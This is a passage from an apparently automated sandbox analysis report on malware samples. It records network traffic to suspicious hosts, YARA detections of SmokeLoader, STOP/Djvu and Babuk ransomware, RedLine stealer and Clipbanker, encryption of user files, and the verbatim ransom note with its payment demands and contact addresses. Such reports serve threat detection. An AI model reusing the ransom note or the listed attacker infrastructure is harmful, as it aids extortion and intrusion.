people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" /><meta property="og:locale" content="en_US" /><link rel="canonical" href="https://www.facebook.com/login/web/" /><link rel="icon" href="https://static.xx.fbcdn.net/rsrc.php/yv/r/B8BxsscfVBr.ico" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yP/l/0,cross/6MB_F4yiWj8.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="HLTHBFO" /> equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.593189980.000001E2922BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: zy(["Env"],b):(window.Env=window.Env\|\|{},b(window.Env))}envFlush({"useTrustedTypes":false,"isTrustedTypesReportOnly":false,"ajaxpipe_token":"AXjZ6wGXtfhJEKvvXGo","gk_instrument_object_url":true,"stack_trace_limit":30,"timesliceBufferSize":5000,"show_invariant_decoder":false,"compat_iframe_token":"AQ6iSpgOr5fQTsmS9OI","isCQuick":false});</script><script nonce="AWGLzne9">(function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="AWGLzne9"></style><script nonce="AWGLzne9">__DEV__=0;</script><noscript><meta http-equiv="refresh" content="0; URL=/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F&_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/data/manifest/" crossorigin="use-credentials" /><title id="pageTitle">Log into Facebook</title><meta name="google" content="notranslate" /><meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" /><meta property="og:locale" content="en_US" /><link rel="canonical" href="https://www.facebook.com/login/web/" /><link rel="icon" href="https://static.xx.fbcdn.net/rsrc.php/yv/r/B8BxsscfVBr.ico" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yP/l/0,cross/6MB_F4yiWj8.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="HLTHBFO" /> equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.617256768.000001E292290000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.643560384.000001E292292000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.558924559.000001E292285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} equals www.facebook.com (Facebook)

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://xlqkimn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 196Host: potunulit.org

Source: unknown	HTTPS traffic detected: 217.174.148.28:443 -> 192.168.2.3:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.174.148.28:443 -> 192.168.2.3:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.174.148.28:443 -> 192.168.2.3:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.174.148.28:443 -> 192.168.2.3:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.17.17:443 -> 192.168.2.3:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.9.35:443 -> 192.168.2.3:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.3:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.17.17:443 -> 192.168.2.3:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.9.35:443 -> 192.168.2.3:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.66.203.53:443 -> 192.168.2.3:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:49947 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.17.17:443 -> 192.168.2.3:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.9.35:443 -> 192.168.2.3:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.17.17:443 -> 192.168.2.3:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.234.35:443 -> 192.168.2.3:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.3:50031 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000026.00000002.505614178.00000000007D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.380148014.0000000002421000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.508616217.0000000002231000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.380129580.0000000002400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.445573902.0000000000700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.446406704.00000000022D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Source: 01860199.exe, 00000000.00000002.379986606.000000000084A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_readme.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.You can get and look video overview decrypt tool:https://we.tl/t-tnzomMj6HUPrice of private key and decrypt software is $980.Discount 50% available if you contact us first 72 hours, that's price for you is $490.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@freshmail.topReserve e-mail address to contact us:datarestorehelp@airmail.ccYour personal ID:0717JOsieaz8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc

Jump to dropped file

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: D804.exe PID: 6088, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: D804.exe PID: 4528, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 29.2.A170.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.D804.exe.26915a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.D804.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.B46F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.913F.exe.24115a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.A170.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.A170.exe.24c15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.B46F.exe.24d15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.913F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.D804.exe.24d15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.D804.exe.25315a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.D804.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.B46F.exe.24d15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.D804.exe.26915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.D804.exe.24d15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.A170.exe.24c15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.913F.exe.24115a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.913F.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.D804.exe.25315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.D804.exe.24615a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.D804.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.B46F.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.D804.exe.24615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.D804.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.486782772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.508274482.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.619429561.0000000000891000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.451684545.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.493740298.00000000024C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.442867169.0000000002690000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.491035809.0000000002460000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.489556428.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.483526399.0000000002410000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.474131384.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.450667818.0000000002530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: D804.exe PID: 2560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: D804.exe PID: 772, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: D804.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: D804.exe PID: 6088, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: D804.exe PID: 128, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: D804.exe PID: 4528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: B46F.exe PID: 4928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: B46F.exe PID: 2576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: A170.exe PID: 1868, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: D804.exe PID: 1264, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\Temp\D804.exe	File moved: C:\Users\user\Desktop\HMPPSXQPQV.png
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File deleted: C:\Users\user\Desktop\HMPPSXQPQV.png
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File moved: C:\Users\user\Desktop\NWCXBPIUYI.jpg
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File deleted: C:\Users\user\Desktop\NWCXBPIUYI.jpg
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File moved: C:\Users\user\Desktop\CZQKSDDMWR.png

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\AppData\Local\Temp\D804.exe	File dropped: C:\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-tnzommj6huprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshmail.topreserve e-mail address to contact us:datarestorehelp@airmail.ccyour personal id:0717josieaz8oayewngelvwqrvcqfni4j455hrwui26kpqtgc			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File dropped: C:\Users\user\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-tnzommj6huprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshmail.topreserve e-mail address to contact us:datarestorehelp@airmail.ccyour personal id:0717josieaz8oayewngelvwqrvcqfni4j455hrwui26kpqtgc			Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 30.0.build3.exe.1000000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 30.0.build3.exe.1000000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 29.2.A170.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 29.2.A170.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.D804.exe.26915a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.D804.exe.26915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 26.2.B46F.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 26.2.B46F.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 34.2.913F.exe.24115a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 34.2.913F.exe.24115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 29.2.A170.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 29.2.A170.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 27.2.A170.exe.24c15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 27.2.A170.exe.24c15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 25.2.B46F.exe.24d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.2.B46F.exe.24d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 40.2.mstsca.exe.9b0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 40.2.mstsca.exe.9b0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 37.2.913F.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 37.2.913F.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.2.D804.exe.24d15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.2.D804.exe.24d15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 13.2.D804.exe.25315a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 13.2.D804.exe.25315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 31.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 31.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 31.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 31.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 25.2.B46F.exe.24d15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 25.2.B46F.exe.24d15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.D804.exe.26915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.D804.exe.26915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 30.2.build3.exe.1000000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 30.2.build3.exe.1000000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 18.2.D804.exe.24d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.2.D804.exe.24d15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 40.0.mstsca.exe.9b0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 40.0.mstsca.exe.9b0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 27.2.A170.exe.24c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 27.2.A170.exe.24c15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 34.2.913F.exe.24115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 34.2.913F.exe.24115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 37.2.913F.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 37.2.913F.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 13.2.D804.exe.25315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 13.2.D804.exe.25315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 28.2.D804.exe.24615a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 28.2.D804.exe.24615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 19.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 26.2.B46F.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 26.2.B46F.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 28.2.D804.exe.24615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 28.2.D804.exe.24615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 19.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.D804.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.D804.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 20.0.3C54.exe.4a0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects downloader / injector Author: ditekSHen
Source: 00000026.00000002.505614178.00000000007D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.380036043.0000000000859000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000007.00000002.460164953.0000000000800000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.380148014.0000000002421000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000026.00000002.501652652.00000000007C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000001F.00000002.486782772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000001F.00000002.486782772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000025.00000002.508274482.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000025.00000002.508274482.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000019.00000002.473949878.0000000002434000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000026.00000002.508616217.0000000002231000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000012.00000002.451684545.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000026.00000002.506871844.00000000007F8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001E.00000000.474017727.0000000001001000.00000020.00000001.01000000.00000016.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001E.00000000.474017727.0000000001001000.00000020.00000001.01000000.00000016.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001C.00000002.488812684.000000000228A000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.380129580.0000000002400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000012.00000002.451349547.00000000023B3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000004.00000002.445989950.0000000000738000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000028.00000002.618179009.00000000009B1000.00000020.00000001.01000000.0000001A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
